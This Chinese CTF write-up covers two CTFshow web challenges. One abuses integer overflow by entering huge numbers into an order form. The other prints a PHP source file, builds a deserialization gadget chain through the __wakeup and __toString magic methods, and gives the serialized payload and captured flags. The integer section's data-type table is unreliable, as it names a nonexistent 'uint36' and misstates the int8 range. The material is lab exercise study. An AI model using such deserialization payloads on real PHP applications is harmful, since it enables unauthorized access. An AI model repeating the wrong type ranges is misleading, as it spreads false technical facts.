茶歇区
题目来源
CTFshow-菜狗杯-WEB
题目考点
多次整数溢出
解题思路
通过整数溢出,拿到flag
解题过程
打开题目链接,得到如下界面,不是很明白题目,貌似是整数溢出漏洞利用;
首先我们需要了解各种数据类型对应的取值范围:
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807
在打开题目页面的咖啡的数量处,输入99999999999999999999,提交
提交后得到如下反馈
根据反馈的数字922…807,可以判断为int64,当然一般情况都是int64,这里存在一个疑点,为什么我们传的值已经明显大于9223372036854775807,但是为什么获得的积分是0?
因此当我再次传递999999999999999999时,提示如下
再次传递999999999999999999时,得到flag
ctfshow{01be7e5c-4519-4968-9965-a7e821483763}
小舔田
题目来源
CTFshow-菜狗杯-WEB
题目考点
PHP反序列化、对象作属性使用的函数调用
题目源码
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
解题思路
利用PHP反序列化漏洞,得到flag
解题过程
php序列化,最终的利用点在
echo $flag;
该语句在call函数中,找到调用call函数的地方,显然,是Ion_Fan_Princess类中的tostring方法了,那么想要调用tostring函数,可以利用上面类中的tostring方法,使得$this->name的值为Ion_Fan_Princess对象时,在wakeup方法中触发tostring方法;那么就形成了序列化链;
构造反序列化程序
class Moon{
public $name;
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="小甜甜";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
$a=new Moon();
$W=new Ion_Fan_Princess();
$a->name=$W;
echo serialize($a);
执行程序,得到输出结果
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}
发送请求,得到flag
ctfshow{968090ea-a3ca-4d7f-a311-9694a614cce6}